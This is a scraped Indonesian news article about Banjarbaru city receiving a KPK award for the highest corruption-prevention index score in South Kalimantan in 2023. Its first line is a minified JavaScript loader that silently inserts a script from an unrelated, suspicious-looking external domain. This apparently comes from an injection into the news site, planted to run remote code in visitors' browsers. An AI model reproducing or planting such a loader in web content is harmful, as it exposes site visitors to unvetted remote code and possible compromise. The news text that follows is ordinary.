(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Wali Kota Banjarbaru Aditya Mufti Ariffin membawa Pemerintah Kota (Pemko) Banjarbaru mencatat nama sebagai pemerintah daerah dengan perolehan skor indeks pencegahan korupsi tertinggi tahun 2023 di Provinsi Kalimantan Selatan (Kalsel).
Penghargaan tersebut diserahkan Komisi Pemberantasan Korupsi (KPK) melalui Wakil Ketua KPK Alexander Marwata kepada Wali Kota Banjarbaru Aditya yang turut didampingi Sekda Kota Banjarbaru H Said Abdullah. Momen pemberian penghargaan ini bertepatan dengan rapat koordinasi pemberantasan korupsi di Provinsi Kalsel di Mahligai Pancasila Banjarmasin, Kamis (27/6/2024) siang.
Dalam Monitoring Center for Prevention (MCP) KPK RI, Pemerintah Kota Banjarbaru masuk kategori hijau dengan perolehan nilai 90,94.
Baca juga: Pulang ke Tanah Air, Jemaah Haji Debarkasi Banjarmasin Wafat di Pesawat
Wali Kota Banjarbaru, Aditya Mufti Ariffin mengungkapkan rasa syukur atas raihan prestasi tersebut.
Menurut Wali Kota Aditya, penghargaan sebagai pemerintah daerah dengan perolehan skor indeks pencegahan korupsi tertinggi di Kalsel ini, menjadi vitamin suplemen bagi Pemerintah Kota Banjarbaru untuk bekerja lebih baik.
Baca juga: Bupati Banjar Ikuti Rakor Pemberantasan Korupsi bersama KPK
“Alhamdulillah, semoga ke depan segala indikator ini bisa dipertahankan dan lebih meningkat,” ucap Wali Kota Aditya.
Sekadar diketahui Monitoring Center for Prevention atau MCP merupakan upaya yang dilakukan oleh KPK RI untuk mendorong pencegahan korupsi melalui upaya-upaya preventif dengan melakukan intervensi.
Baca juga: Rotasi Pejabat Utama Polda Kalsel dan Empat Kapolres, Ini Nama Perwira dan Jabatannya
Ada 7 area yang dilakukan intervensi, yaitu perencanaan penganggaran, pengadaan barang dan jasa, perizinan, penguatan APIP, manajemen ASN, manajemen BMD, optimalisasi pendapatan daerah.
Untuk Kota Banjarbaru, MCP yang dinilai yakni perbaikan sistem dengan dua survei, yaitu survei penilaian integritas dan survei indeks persepsi anti korupsi. (Kanalkalimantan.com/bie)
Reporter : bie
Editor : kk
KANALKALIMANTAN.COM, BANJARMASIN — Badan Eksekutif Mahasiswa (BEM) Seluruh Indonesia (SI) Kalimantan Selatan (Kalsel) menyatakan sikap… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perumahan Rakyat dan Kawasan Permukiman (Disperkim) Provinsi Kalimantan Selatan (Kalsel) menegaskan… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Wacana Pemilihan Kepala Daerah (Pilkada) melalui Dewan Perwakilan Rakyat Daerah (DPRD) menuai… Read More
KANALKALIMANTAN.COM, PARINGIN – Pekan pertama masa pemulihan pascabanjir di Kabupaten Balangan, sejumlah perbaikan sudah mulai… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas dan Kejaksaan Negeri (Kejari) Kapuas melakukan serah… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Warga binaan Rumah Tahanan Negara (Rutan) Kelas II B Kapuas berkumpul… Read More
This website uses cookies.